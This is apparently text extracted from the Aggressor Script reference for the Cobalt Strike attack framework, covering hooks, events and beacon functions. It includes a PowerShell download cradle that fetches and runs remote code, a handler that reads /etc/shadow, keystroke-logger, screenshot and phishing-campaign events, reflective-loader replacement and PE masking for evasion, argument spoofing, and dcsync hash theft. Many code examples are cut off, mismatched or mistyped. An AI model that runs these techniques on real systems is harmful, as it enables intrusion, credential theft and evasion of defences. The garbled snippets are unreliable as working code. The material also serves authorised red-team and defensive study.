The &describe function sets a default description of the report. The user may edit this when they
generate the report. This information is passed to the report as part of the report metadata in
the $1 parameter. The $1 parameter is a dictionary with information about the user's
preferences for the report.
Compatibility Guide
This page documents Cobalt Strike changes version-to-version that may affect compatability
with your current Aggressor Scripts. In general, it's our goal that a script written for Cobalt Strike
3.0 is forward-compatible with future 3.x releases. Major product releases (e.g., 3.0 -> 4.0) do
give us some license to revisit APIs and break some of this compatability. Sometimes, a
compatability breaking API change is inevitable. These changes are documented here.
2. Cobalt Strike 4.x moves away from payload stagers. Stageless payloads are preferred in
all post-ex workflows. Where stageless isn't possible; use an explicit stager that works
with all payloads.
The jump psexec_psh lateral movement attack is a good example of the above. This
automation generates a bind_pipe stager to fit within the size constraints of a
PowerShell one-liner. All payloads are sent through this staging process; regardless of
their configuration.
This convention change will break some privilege escalation scripts that follow the pre-
4.x patterns in the Elevate Kit. &bstage is now gone as its underlying functionality was
changed too much to include in Cobalt Strike 4.x. Where possible, privilege escalation
scripts should use &payload to export a payload, run it via the technique, and use
&beacon_link to connect to the payload. If a stager is required; use &stager_bind_tcp to
export a TCP stager and &beacon_stage_tcp to stage a payload through this stager.
3. Cobalt Strike 4.x removes the following Aggressor Script functions:
Hooks
Hooks allow Aggressor Script to intercept and change Cobalt Strike behavior.
APPLET_SHELLCODE_FORMAT
Format shellcode before it's placed on the HTML page generated to serve the Signed or Smart
Applet Attacks. See User-driven Web Drive-by Attacks on page 79.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike
Arsenal (Help -> Arsenal).
Example
set APPLET_SHELLCODE_FORMAT {
return base64_encode($1);
}
BEACON_RDLL_GENERATE
Hook to allow users to replace the Cobalt Strike reflective loader in a beacon with a User Defined
Reflective Loader. The reflective loader can be extracted from a compiled object file and
plugged into the Beacon Payload DLL. See User Defined Reflective DLL Loader on page 164.
Arguments
Returns
The Beacon executable payload updated with the User Defined reflective loader. Return $null to
use the default Beacon executable payload.
Example
sub generate_my_dll {
local('$handle $data $loader $temp_dll');
# ---------------------------------------------------------------------
# Load an Object File that contains a Reflective Loader.
# The architecture ($3) is used in the path.
# ---------------------------------------------------------------------
# $handle = openf("/mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+
.o");
$handle = openf("mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");
if (strlen($data) eq 0) {
warn("Error loading reflective loader object file.");
return $null;
}
# ---------------------------------------------------------------------
# extract loader from BOF.
# ---------------------------------------------------------------------
$loader = extract_reflective_loader($data);
if (strlen($loader) eq 0) {
warn("Error extracting reflective loader.");
return $null;
}
# ---------------------------------------------------------------------
# Replace the beacons default reflective loader with '$loader'.
# ---------------------------------------------------------------------
$temp_dll = setup_reflective_loader($2, $loader);
# ---------------------------------------------------------------------
# TODO: Additional Customization of the PE...
# - Use 'pedump' function to get information for the updated DLL.
# - Use these convenience functions to perform transformations on the DLL:
# pe_remove_rich_header
# pe_insert_rich_header
# pe_set_compile_time_with_long
# pe_set_compile_time_with_string
# pe_set_export_name
# pe_update_checksum
# - Use these basic functions to perform transformations on the DLL:
# pe_mask
# pe_mask_section
# pe_mask_string
# pe_patch_code
# pe_set_string
# pe_set_stringz
# pe_set_long
# pe_set_short
# pe_set_value_at
# pe_stomp
# ---------------------------------------------------------------------
# ---------------------------------------------------------------------
# Give back the updated beacon DLL.
# ---------------------------------------------------------------------
return $temp_dll;
}
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# ------------------------------------
set BEACON_RDLL_GENERATE {
warn("Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture "
. $3);
return generate_my_dll($1, $2, $3);
}
BEACON_RDLL_GENERATE_LOCAL
The BEACON_RDLL_GENERATE_LOCAL hook is very similar to BEACON_RDLL_GENERATE with
additional arguments.
Arguments
$4 - Parent beacon ID
$5 - GetModuleHandleA pointer
$6 - GetProcAddress pointer
Example
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandleA pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set BEACON_RDLL_GENERATE_LOCAL {
warn("Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " .
$1 ." with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA "
$5 . " GetProcAddress " . $6);
return generate_my_dll($1, $2, $3);
}
Also See
BEACON_RDLL_SIZE
The BEACON_RDLL_SIZE hook allows the use of beacons with more space reserved for User
Defined Reflective loaders. The alternate beacons are used in the BEACON_RDLL_GENERATE
and BEACON_RDLL_GENERATE_LOCAL hooks. The original/default space reserved for
reflective loaders is 5KB. The hook also allows the entire reflective loader space to be removed.
Overriding this setting will generate beacons that are too large for the placeholders in standard
artifacts. It is very likely to require customized changes in an artifact kit to expand reserved
payload space. See the documentation in the artifact kit provided by Cobalt Strike.
Customized "stagesize" settings are documented in "build.sh" and "script.example". See User
Defined Reflective DLL Loader on page 164.
Arguments
Returns
The size in KB for the Reflective Loader reserved space in beacons. Valid values are "0", "5", "100".
"0" uses beacons without the reserved spaces for reflective loaders.
"5" is the default and uses standard beacons with 5KB reserved space for reflective loaders.
"100" uses larger beacons with 100KB reserved space for reflective loaders.
Example
# ------------------------------------
# $1 = DLL file name
# $2 = arch
# ------------------------------------
set BEACON_RDLL_SIZE {
warn("Running 'BEACON_RDLL_SIZE' for DLL " . $1 . " with architecture " .
$2);
return "100";
}
BEACON_SLEEP_MASK
Update a Beacon payload with a User Defined Sleep Mask
Arguments
$2 - arch
This hook is demonstrated in the The Sleep Mask Kit on page 92.
EXECUTABLE_ARTIFACT_GENERATOR
Control the EXE and DLL generation for Cobalt Strike.
Arguments
Artifact Kit
HTMLAPP_EXE
Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt
Strike.
Arguments
Resource Kit
Example
set HTMLAPP_EXE {
local('$handle $data');
$handle = openf(script_resource("template.exe.hta"));
$data = readb($handle, -1);
osef($handle);
return $data;
}
HTMLAPP_POWERSHELL
Controls the content of the HTML Application User-driven (PowerShell Output) generated by
Cobalt Strike.
Arguments
Resource Kit
Example
set HTMLAPP_POWERSHELL {
local('$handle $data');
$handle = openf(script_resource("template.psh.hta"));
$data = readb($handle, -1);
closef($handle);
LISTENER_MAX_RETRY_STRATEGIES
Return a string that contains the list of definitions which is separated with a '\n' character. The
definition needs to match a syntax of exit-[max_attempts]-[increase_attempts]-
[duration][m,h,d].
For example exit-10-5-5m will exit beacon after 10 failed attempts and will increase sleep
time after five failed attempts to 5 minutes. The sleep time will not be updated if the current
sleep time is greater than the specified duration value. The sleep time will be affected by the
current jitter value. On a successful connection the failed attempts count will be reset to zero
and the sleep time will be reset to the prior value.
Example
return $out;
}
{
$out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n";
}
}
return $out;
}
POSTEX_RDLL_GENERATE
Hook to allow users to replace the Cobalt Strike reflective loader for post-ex with a User Defined
Reflective Loader. See Post-ex User Defined Reflective DLL Loader on page 163.
The Post-ex DLL passed as argument 2 does not contain any reflective loader. You do not need
to remove an existing reflective loader from the DLL.
Arguments
$4 – parent Beacon ID
$5 – GetModuleHandle pointer
$6 – GetProcAddress pointer
Returns
The Post-ex payload updated with the User Defined reflective loader. Return $null to use the
default Post-ex payload and loader.
Example
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandle pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
local('$arch $ postex $file_handle $ldr $loader_path $payload');
$postex = $2;
$arch = $3;
warn("Running 'POSTEX_RDLL_GENERATE' for DLL " .
$1 ." with architecture " . $3 . " Beacon ID " . $4 . " .
GetModuleHandleA “ .
$5 . " GetProcAddress " . $6);
POWERSHELL_COMMAND
Change the form of the powershell comamnd run by Cobalt Strike's automation. This affects
jump psexec_psh, powershell, and [host] -> Access -> One-liner.
Arguments
Resource Kit
Example
set POWERSHELL_COMMAND {
local('$script');
$script = transform($1, "powershell-base64");
POWERSHELL_COMPRESS
A hook used by the resource kit to compress a PowerShell script. The default uses gzip and
returns a deflator script.
Resource Kit
Arguments
POWERSHELL_DOWNLOAD_CRADLE
Change the form of the PowerShell download cradle used in Cobalt Strike's post-ex automation.
This includes jump winrm|winrm64, [host] -> Access -> One Liner, and powershell-import.
Arguments
Resource Kit
Example
set POWERSHELL_DOWNLOAD_CRADLE {
return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
}
PROCESS_INJECT_EXPLICIT
Hook to allow users to define how the explicit process injection technique is implemented when
executing post exploitation commands using a Beacon Object File (BOF).
Arguments
$1- Beacon ID
Returns
Return a non empty value when defining your own explicit process injection technique.
The following post exploitation commands support the PROCESS_INJECT_EXPLICIT hook. The
Command column displays the command to be used in the Beacon window, The Aggressor
Script column displays the aggressor script function to be used in scripts, and the UI column
displays which menu option to use.
Additional Information
l The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List.
There is also a multi version of this interface which is accessed by selecting multiple
sessions and using the same UI menu. When in the Process Browser use the buttons to
perform additional commands on the selected process.
Job Types
Example
# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
local('$barch $handle $data $args $entry');
PROCESS_INJECT_SPAWN
Hook to allow users to define how the fork and run process injection technique is implemented
when executing post exploitation commands using a Beacon Object File (BOF).
Arguments
$1 - Beacon ID
Returns
Return a non empty value when defining your own fork and run process injection technique.
Return $null to use the default fork and run injection technique.
The following post exploitation commands support the PROCESS_INJECT_SPAWN hook. The
Command column displays the command to be used in the Beacon window, The Aggressor
Script column displays the aggressor script function to be used in scripts, and the UI column
displays which menu option to use.
Additional Information
l The elevate, runasadmin, &belevate, &brunasadmin and [beacon] -> Access ->
Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the
specified exploit uses one of the listed aggressor script functions in the table, for
example &bpowerpick.
l For the net and &bnet command the ‘domain’ command will not use the hook.
l The ‘(use a hash)’ note means select a credential that references a hash.
Job Types
Example
# ------------------------------------
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
# ------------------------------------
set PROCESS_INJECT_SPAWN {
local('$barch $handle $data $args $entry');
PSEXEC_SERVICE
Set the service name used by jump psexec|psexec64|psexec_psh and psexec.
Example
set PSEXEC_SERVICE {
return "foobar";
}
PYTHON_COMPRESS
Compress a Python script generated by Cobalt Strike.
Arguments
Resource Kit
Example
set PYTHON_COMPRESS {
return "import base64; exec base64.b64decode(\"" . base64_encode($1) .
"\")";
}
RESOURCE_GENERATOR
Control the format of the VBS template used in Cobalt Strike.
Resource Kit
Arguments
RESOURCE_GENERATOR_VBS
Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt
Strike.
Arguments
Resource Kit
Example
set HTMLAPP_EXE {
local('$handle $data');
$handle = openf(script_resource("template.exe.hta"));
$data = readb($handle, -1);
closef($handle);
return $data;
}
SIGNED_APPLET_MAINCLASS
Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet
Attack on page 80.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike
Arsenal (Help -> Arsenal).
Example
set SIGNED_APPLET_MAINCLASS {
return "Java.class";
}
SIGNED_APPLET_RESOURCE
Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet
Attack on page 80.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike
Arsenal (Help -> Arsenal).
Example
set SIGNED_APPLET_RESOURCE {
return script_resource("dist/applet_signed.jar");
}
SMART_APPLET_MAINCLASS
Specify the MAIN class of the Java Smart Applet Attack. See Java Smart Applet Attack on
page 81.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike
Arsenal (Help -> Arsenal).
Example
set SMART_APPLET_MAINCLASS {
return "Java.class";
}
SMART_APPLET_RESOURCE
Specify a Java Applet file to use for the Java Smart Applet Attack. See Java Smart Applet
Attack on page 81.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike
Arsenal (Help -> Arsenal).
Example
set SMART_APPLET_RESOURCE {
return script_resource("dist/applet_rhino.jar");
}
Events
These are the events fired by Aggressor Script.
*
This event fires whenever any Aggressor Script event fires.
Arguments
Example
beacon_checkin
Arguments
beacon_error
Fired when an error is posted to a Beacon's console.
Arguments
beacon_indicator
Fired when an indicator of compromise notice is posted to a Beacon's console.
Arguments
beacon_initial
Fired when a Beacon calls home for the first time.
Arguments
Example
on beacon_initial {
# list network connections
bshell($1, "netstat -na | findstr \"ESTABLISHED\"");
# list shares
bshell($1, "net use");
# list groups
bshell($1, "whoami /groups");
}
beacon_initial_empty
Fired when a DNS Beacon calls home for the first time. At this point, no metadata has been
exchanged.
Arguments
Example
on beacon_initial_empty {
binput($1, "[Acting on new DNS Beacon]");
beacon_input
Fired when an input message is posted to a Beacon's console.
Arguments
beacon_mode
Fired when a mode change acknowledgement is posted to a Beacon's console.
Arguments
beacon_output
Fired when output is posted to a Beacon's console.
Arguments
beacon_output_alt
Fired when (alternate) output is posted to a Beacon's console. What makes for alternate output?
It's just different presentation from normal output.
Arguments
beacon_output_jobs
Fired when jobs output is sent to a Beacon's console.
Arguments
beacon_output_ls
Fired when ls output is sent to a Beacon's console.
Arguments
beacon_output_ps
Fired when ps output is sent to a Beacon's console.
Arguments
beacon_tasked
Fired when a task acknowledgement is posted to a Beacon's console.
Arguments
beacons
Fired when the team server sends over fresh information on all of our Beacons. This occurs
about once each second.
Arguments
custom_event_<event name>
Fired when a client receives a custom event from another client.
Arguments
Example
disconnect
Fired when this Cobalt Strike becomes disconnected from the team server.
event_action
Fired when a user performs an action in the event log. This is similar to an action on IRC (the
/me command)
Arguments
event_beacon_initial
Fired when an initial beacon message is posted to the event log.
Arguments
event_join
Fired when a user connects to the team server
Arguments
event_newsite
Fired when a new site message is posted to the event log.
Arguments
event_notify
Fired when a message from the team server is posted to the event log.
Arguments
event_nouser
Fired when the current Cobalt Strike client tries to interact with a user who is not connected to
the team server.
Arguments
event_private
Fired when a private message is posted to the event log.
Arguments
event_public
Fired when a public message is posted to the event log.
Arguments
event_quit
Fired when someone disconnects from the team server.
Arguments
heartbeat_10m
Fired every ten minutes
heartbeat_10s
Fired every ten seconds
heartbeat_15m
Fired every fifteen minutes
heartbeat_15s
Fired every fifteen seconds
heartbeat_1m
Fired every minute
heartbeat_1s
Fired every second
heartbeat_20m
Fired every twenty minutes
heartbeat_30m
Fired every thirty minutes
heartbeat_30s
Fired every thirty seconds
heartbeat_5m
Fired every five minutes
heartbeat_5s
Fired every five seconds
heartbeat_60m
Fired every sixty minutes
keylogger_hit
Fired when there are new results reported to the web server via the cloned site keystroke logger.
Arguments
$2 - reserved
keystrokes
Fired when Cobalt Strike receives keystrokes
Arguments
Key Value
bid Beacon ID for session keystrokes originated from
data keystroke data reported in this batch
id identifier for this keystroke buffer
session desktop session from keystroke logger
title last active window title from keystroke logger
user username from keystroke logger
when timestamp of when these results were generated
Example
on keystrokes {
if ("*Admin*" iswm $1["title"]) {
blog($1["bid"], "Interesting keystrokes received.
Go to \c4View -> Keystrokes\o and look for the green buffer.");
highlight("keystrokes", @($1), "good");
}
}
profiler_hit
Fired when there are new results reported to the System Profiler.
Arguments
$3 - visitor's User-Agent
$5 - the phishing token of the visitor (use &tokenToEmail to resolve to an email address)
ready
Fired when this Cobalt Strike client is connected to the team server and ready to act.
screenshots
Fired when Cobalt Strike receives a screenshot.
Arguments
Key Value
bid Beacon ID for session screenshot originated from
data raw screenshot data (this is a .jpg file)
id identifier for this screenshot
session desktop session reported by screenshot tool
title active window title from screenshot tool
user username from screenshot tool
when timestamp of when this screenshot was received
Example
local('$title');
$title = lc($1["title"]);
sendmail_done
Fired when a phishing campaign completes
Arguments
$1 - the campaign ID
sendmail_post
Fired after a phish is sent to an email address.
Arguments
$1 - the campaign ID
sendmail_pre
Fired before a phish is sent to an email address.
Arguments
$1 - the campaign ID
sendmail_start
Fired when a new phishing campaign kicks off.
Arguments
$1 - the campaign ID
$2 - number of targets
ssh_checkin
Fired when an SSH client checkin acknowledgement is posted to an SSH console.
Arguments
ssh_error
Fired when an error is posted to an SSH console.
Arguments
ssh_indicator
Fired when an indicator of compromise notice is posted to an SSH console.
Arguments
ssh_initial
Fired when an SSH session is seen for the first time.
Arguments
Example
on ssh_initial {
if (-isadmin $1) {
bshell($1, "cat /etc/shadow");
}
}
ssh_input
Fired when an input message is posted to an SSH console.
Arguments
ssh_output
Fired when output is posted to an SSH console.
Arguments
ssh_output_alt
Fired when (alternate) output is posted to an SSH console. What makes for alternate output? It's
just different presentation from normal output.
Arguments
ssh_tasked
Fired when a task acknowledgement is posted to an SSH console.
Arguments
web_hit
Fired when there's a new hit on Cobalt Strike's web server.
Arguments
Functions
This is a list of Aggressor Script's functions.
Quick Jump
-hasbootstraphint
Check if a byte array has the x86 or x64 bootstrap hint. Use this function to determine if it's safe
to use an artifact that passes GetProcAddress/GetModuleHandleA pointers to this payload.
Arguments
See also
&payload_bootstrap_hint
-is64
Check if a session is on an x64 system or not (Beacon only).
Arguments
$1 - Beacon/Session ID
Example
command x64 {
foreach $session (beacons()) {
if (-is64 $session['id']) {
println($session);
}
}
}
-isactive
Check if a session is active or not. A session is considered active if (a) it has not acknowledged
an exit message AND (b) it is not disconnected from a parent Beacon.
Arguments
$1 - Beacon/Session ID
Example
command active {
local('$bid');
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
println("$bid is active!");
}
}
}
-isadmin
Check if a session has admin rights
Arguments
$1 - Beacon/Session ID
Example
command admin_sessions {
foreach $session (beacons()) {
if (-isadmin $session['id']) {
println($session);
}
}
}
-isbeacon
Check if a session is a Beacon or not.
Arguments
$1 - Beacon/Session ID
Example
command beacons {
foreach $session (beacons()) {
if (-isbeacon $session['id']) {
println($session);
}
}
}
-isssh
Check if a session is an SSH session or not.
Arguments
$1 - Beacon/Session ID
Example
command ssh_sessions {
foreach $session (beacons()) {
if (-isssh $session['id']) {
println($session);
}
}
}
action
Post a public action message to the event log. This is similar to the /me command.
Arguments
$1 - the message
Example
action("dances!");
addTab
Create a tab to display a GUI object.
Arguments
Example
addVisualization
Register a visualization with Cobalt Strike.
Arguments
$2 - a javax.swing.JComponent object
Example
See also
&showVisualization
add_to_clipboard
Add text to the clipboard, notify the user.
Arguments
Example
alias
Creates an alias command in the Beacon console
Arguments
$2 - a callback function. Called when the user runs the alias. Arguments are: $0 = command run,
$1 = beacon id, $2 = arguments.
Example
alias("foo", {
btask($1, "foo!");
});
alias_clear
Removes an alias command (and restores default functionality; if it existed)
Arguments
Example
alias_clear("foo");
all_payloads
Generates all of the stageless payloads (in x86 and x64) for all of the configured listeners. (also
available in the UI menu under Payloads -> Windows Stageless Generate all Payloads)
Arguments
$3 – A string value for the system call method. Valid values are:
Indirect: Jump to the appropriate instruction within the Nt* version of the function.
Example
applications
Returns a list of application information in Cobalt Strike's data model. These applications are
results from the System Profiler.
Returns
Example
printAll(applications());
archives
Returns a massive list of archived information about your activity from Cobalt Strike's data
model. This information is leaned on heavily to reconstruct your activity timeline in Cobalt
Strike's reports.
Returns
Example
artifact
Arguments
Type Description
dll an x86 DLL
dllx64 an x64 DLL
exe a plain executable
powershell a powershell script
python a python script
svcexe a service executable
vbscript a Visual Basic script
Note
Be aware that not all listener configurations have x64 stagers. If in doubt, use x86.
Returns
Example
$handle = openf(">out.exe");
writeb($handle, $data);
closef($handle);
artifact_general
Generates a payload artifact from arbitrary shellcode.
Arguments
$1 - the shellcode
Type Description
dll a DLL
exe a plain executable
powershell a powershell script
python a python script
svcexe a service executable
Note
While the Python artifact in Cobalt Strike is designed to simultaneously carry an x86 and x64
payload; this function will only populate the script with the architecture argument specified as
$3
artifact_payload
Generates a stageless payload artifact (exe, dll) from a Cobalt Strike listener name
Arguments
$4 - exit method: 'thread' (leave the thread when done) or 'process' (exit the process when
done). Use 'thread' if injecting into an existing process.
$5 – A string value for the system call method. Valid values are:
Indirect: Jump to the appropriate instruction within the Nt* version of the function.
Type Description
dll a DLL
exe a plain executable
powershell a powershell script
python a python script
raw raw payload stage
svcexe a service executable
Note
While the Python artifact in Cobalt Strike is designed to simultaneously carry an x86 and x64
payload; this function will only populate the script with the architecture argument specified as
$3
Example
artifact_sign
Sign an EXE or DLL file
Arguments
Notes
Returns
Example
# generate an artifact!
$data = artifact("my listener", "exe");
# sign it.
$data = artifact_sign($data);
# save it
$handle = openf(">out.exe");
writeb($handle, $data);
closef($handle);
artifact_stageless
DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &artifact_payload
instead.
Generates a stageless artifact (exe, dll) from a (local) Cobalt Strike listener
Arguments
$5 - callback function. This function is called when the artifact is ready. The $1 argument is the
stageless content.
Type Description
dll an x86 DLL
dllx64 an x64 DLL
exe a plain executable
powershell a powershell script
python a python script
raw raw payload stage
svcexe a service executable
Notes
l This function provides the stageless artifact via a callback function. This is necessary
because Cobalt Strike generates payload stages on the team server.
l The proxy configuration string is the same string you would use with Payloads ->
Windows Stageless Payload. *direct* ignores the local proxy configuration and
attempts a direct connection. protocol://user:[email protected]:port
specifies which proxy configuration the artifact should use. The username and
password are optional (e.g., protocol://host:port is fine). The acceptable
protocols are socks and http. Set the proxy configuration string to $null or "" to use
the default behavior. Custom dialogs may use &drow_proxyserver to set this.
l This function cannot generate artifacts for listeners on other team servers. This function
also cannot generate artifacts for foreign listeners. Limit your use of this function to
local listers with stages only. Custom dialogs may use &drow_listener_stage to choose
an acceptable listener for this function.
l Note: while the Python artifact in Cobalt Strike is designed to simultaneously carry an
x86 and x64 payload; this function will only populate the script with the architecture
argument specified as $3
Example
sub ready {
local('$handle');
$handle = openf(">out.exe");
writeb($handle, $1);
closef($handle);
}
artifact_stager
Generates a stager artifact (exe, dll) from a Cobalt Strike listener
Arguments
Type Description
dll a DLL
exe a plain executable
powershell a powershell script
python a python script
raw the raw file
svcexe a service executable
vbscript a Visual Basic script
Note
Be aware that not all listener configurations have x64 stagers. If in doubt, use x86.
Returns
Example
$handle = openf(">out.exe");
writeb($handle, $data);
closef($handle);
barch
Arguments
Note
If the architecture is unknown (e.g., a DNS Beacon that hasn't sent metadata yet); this function
will return x86.
Example
bargue_add
This function adds an option to Beacon's list of commands to spoof arguments for.
Arguments
$2 - the command to spoof arguments for. Environment variables are OK here too.
Notes
l The process match is exact. If Beacon tries to launch "net.exe", it will not match net,
NET.EXE, or c:\windows\system32\net.exe. It will only match net.exe.
l x86 Beacon can only spoof arguments in x86 child processes. Likewise, x64 Beacon can
only spoof arguments in x64 child processes.
l The real arguments are written to the memory space that holds the fake arguments. If
the real arguments are longer than the fake arguments, the command launch will fail.
Example
bargue_list
List the commands + fake arguments Beacon will spoof arguments for.
Arguments
Example
bargue_list($1);
bargue_remove
This function removes an option to Beacon's list of commands to spoof arguments for.
Arguments
$2 - the command to spoof arguments for. Environment variables are OK here too.
Example
base64_decode
Unwrap a base64-encoded string
Arguments
Returns
Example
println(base64_decode(base64_encode("this is a test")));
base64_encode
Base64 encode a string
Arguments
Returns
Example
println(base64_encode("this is a test"));
bblockdlls
Launch child processes with binary signature policy that blocks non-Microsoft DLLs from
loading in the process space.
Arguments
Note
Example
on beacon_initial {
binput($1, "blockdlls start");
bblockdlls($1, true);
}
bbrowser
Generate the beacon browser GUI component. Shows only Beacons.
Returns
Example
See also
&showVisualization
bbrowserpivot
Start a Browser Pivot
Arguments
Example
bbrowserpivot_stop
Stop a Browser Pivot
Arguments
Example
bbrowserpivot_stop($1);
bbypassuac
REMOVED Removed in Cobalt Strike 4.0.
bcancel
Cancel a file download
Arguments
Example
bcd
Ask a Beacon to change it's current working directory.
Arguments
Example
bcheckin
Ask a Beacon to checkin. This is basically a no-op for Beacon.
Arguments
Example
item "&Checkin" {
binput($1, "checkin");
bcheckin($1);
}
bclear
This is the "oops" command. It clears the queued tasks for the specified beacon.
Arguments
Example
bclear($1);
bconnect
Ask Beacon (or SSH session) to connect to a Beacon peer over a TCP socket
Arguments
Note
Use &beacon_link if you want a script function that will connect or link based on a listener
configuration.
Example
bconnect($1, "DC");
bcovertvpn
Ask Beacon to deploy a Covert VPN client.
Arguments
Example
bcp
Ask Beacon to copy a file or folder.
Arguments
$3 - the destination
Example
bdata
Get metadata for a Beacon session.
Arguments
Returns
Example
println(bdata("1234"));
bdcsync
Use mimikatz's dcsync command to pull a user's password hash from a domain controller. This
function requires a domain administrator trust relationship.
Arguments
Note
Examples
bdesktop
Start a VNC session.
Arguments
Example
bdllinject
Inject a Reflective DLL into a process.
Arguments
Example
bdllload
Call LoadLibrary() in a remote process with the specified DLL.
Arguments
Note
Example
bdllspawn
Spawn a Reflective DLL as a Beacon post-exploitation job.
Arguments
$6 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Notes
l This function will spawn an x86 process if the Reflective DLL is an x86 DLL. Likewise, if
the Reflective DLL is an x64 DLL, this function will spawn an x64 process.
l A well-behaved Reflective DLL follows these rules:
o Receives a parameter via the reserved DllMain parameter when the DLL_
PROCESS_ATTACH reason is specified.
o Prints messages to STDOUT
o Calls fflush(stdout) to flush STDOUT
o Calls ExitProcess(0) when done. This kills the spawned process to host the
capability.
Example (ReflectiveDll.c)
/* flush STDOUT */
fflush(stdout);
alias hello {
bdllspawn($1, script_resource("reflective_dll.dll"), $2,
"test dll", 5000, false);
}
bdownload
Ask a Beacon to download a file
Arguments
Example
bdownload($1, "c:\\sysprep.inf");
bdrives
Ask Beacon to list the drives on the compromised system
Arguments
Example
item "&Drives" {
binput($1, "drives");
bdrives($1);
}
beacon_command_describe
Describe a Beacon command.
Returns
Arguments
$1 - the command
Example
println(beacon_command_describe("ls"));
beacon_command_detail
Get the help information for a Beacon command.
Returns
Arguments
$1 - the command
Example
println(beacon_command_detail("ls"));
beacon_command_register
Register help information for a Beacon command.
Arguments
$1 - the command
Example
alis echo {
blog($1, "You typed: " . substr($1, 5));
}
beacon_command_register(
"echo",
"echo text to beacon log",
"Synopsis: echo [arguments]\n\nLog arguments to the beacon console");
beacon_commands
Get a list of Beacon commands.
Returns
Example
printAll(beacon_commands());
beacon_data
Get metadata for a Beacon session.
Arguments
Returns
Example
println(beacon_data("1234"));
beacon_elevator_describe
Describe a Beacon command elevator exploit
Returns
Arguments
$1 - the exploit
Example
println(beacon_elevator_describe("uac-token-duplication"));
See Also
beacon_elevator_register
Register a Beacon command elevator with Cobalt Strike. This adds an option to the runasadmin
command.
Arguments
$3 - the function that implements the exploit ($1 is the Beacon ID, $2 the command and
arguments)
Example
See Also
beacon_elevators
Get a list of command elevator exploits registered with Cobalt Strike.
Returns
Example
printAll(beacon_elevators());
See also
beacon_execute_job
Run a command and report its output to the user.
Arguments
$1 - the Beacon ID
$4 - flags that change how the job is launched (e.g., 1 = disable WOW64 file system redirection)
Notes
l The string $2 and $3 are combined as-is into a command line. Make sure you begin $3
with a space!
l This is the mechanism Cobalt Strike uses for its shell and powershell commands.
Example
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args", "T1059");
beacon_execute_job($1, "%COMSPEC%", " /C $args", 0);
}
beacon_exploit_describe
Returns
Arguments
$1 - the exploit
Example
println(beacon_exploit_describe("ms14-058"));
See Also
beacon_exploit_register
Register a Beacon privilege escalation exploit with Cobalt Strike. This adds an option to the
elevate command.
Arguments
$3 - the function that implements the exploit ($1 is the Beacon ID, $2 is the listener)
Example
sub ms16_016_exploit {
local('$stager');
if (-is64 $1) {
berror($1, "ms16-016 exploit is x86 only");
return;
}
See Also
beacon_exploits
Get a list of privilege escalation exploits registered with Cobalt Strike.
Returns
Example
printAll(beacon_exploits());
See also
beacon_host_imported_script
Locally host a previously imported PowerShell script within Beacon and return a short script
that will download and invoke this script.
Arguments
Returns
A short PowerShell script to download and evaluate the previously script when run. How this
one-liner is used is up to you!
Example
alias powershell {
local('$args $cradle $runme $cmd');
# generate the download cradle (if one exists) for an imported PowerShell
script
$cradle = beacon_host_imported_script($1);
beacon_host_script
Locally host a PowerShell script within Beacon and return a short script that will download and
invoke this script. This function is a way to run large scripts when there are constraints on the
length of your PowerShell one-liner.
Arguments
Returns
A short PowerShell script to download and evaluate the script when run. How this one-liner is
used is up to you!
Example
alias test {
local('$script $hosted');
$script = "2 + 2";
$hosted = beacon_host_script($1, $script);
beacon_ids
Get the ID of all Beacons calling back to this Cobalt Strike team server.
Returns
Example
beacon_info
Get information from a Beacon session's metadata.
Arguments
Returns
Example
beacon_inline_execute
Execute a Beacon Object File
Arguments
$5 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Note
The Cobalt Strike documentation has a page specific to BOF files. See Beacon Object Files on
page 171.
Example (hello.c)
/*
* Compile with:
* x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
* i686-w64-mingw32-gcc -c hello.c -o hello.x86.o
*/
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "beacon.h"
Example (hello.cna)
alias hello {
local('$barch $handle $data $args');
# execute it.
beacon_inline_execute($1, $data, "demo", $args);
}
See Also
&bof_pack
beacon_link
This function links to an SMB or TCP listener. If the specified listener is not an SMB or TCP
listener, this function does nothing.
Arguments
Example
beacon_remote_exec_method_describe
Describe a Beacon remote execute method
Returns
Arguments
$1 - the method
Example
